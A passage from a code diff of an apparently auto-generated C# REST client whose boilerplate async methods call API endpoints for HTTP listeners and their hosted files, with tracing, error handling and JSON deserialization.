cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiListenersHttpByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiListenersHttpByIdGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Listeners/http/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiListenersHttpPutWithHttpMessagesAsync(Models.HttpListener httpListener = default(Models.HttpListener), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("httpListener", httpListener); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiListenersHttpPut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Listeners/http").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(httpListener != null) + { + _requestContent = SafeJsonConvert.SerializeObject(httpListener, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiListenersHttpPostWithHttpMessagesAsync(Models.HttpListener listener = default(Models.HttpListener), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("listener", listener); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiListenersHttpPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Listeners/http").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(listener != null) + { + _requestContent = SafeJsonConvert.SerializeObject(listener, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiListenersByIdHostedfilesGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiListenersByIdHostedfilesGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Listeners/{id}/hostedfiles").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiListenersByIdHostedfilesPostWithHttpMessagesAsync(int id, HostedFile hostFileRequest = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("hostFileRequest", hostFileRequest); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiListenersByIdHostedfilesPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Listeners/{id}/hostedfiles").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(hostFileRequest != null) + { + _requestContent = SafeJsonConvert.SerializeObject(hostFileRequest, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 201) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 201) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiListenersByIdHostedfilesByHfidGetWithHttpMessagesAsync(int id, int hfid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("hfid", hfid); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiListenersByIdHostedfilesByHfidGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Listeners/{id}/hostedfiles/{hfid}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + _url = _url.Replace("{hfid}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(hfid, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiListenersByIdHostedfilesByHfidPutWithHttpMessagesAsync(int id, int hfid, HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("hfid", hfid); + tracingParameters.Add("hostedFile", hostedFile); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiListenersByIdHostedfilesByHfidPut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Listeners/{id}/hostedfiles/{hfid}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + _url = _url.Replace("{hfid}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(hfid, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(hostedFile != null) + { + _requestContent = SafeJsonConvert.SerializeObject(hostedFile, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task ApiListenersByIdHostedfilesByHfidDeleteWithHttpMessagesAsync(int id, int hfid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("hfid", hfid); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiListenersByIdHostedfilesByHfidDelete", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Listeners/{id}/hostedfiles/{hfid}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + _url = _url.Replace("{hfid}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(hfid, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("DELETE"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + 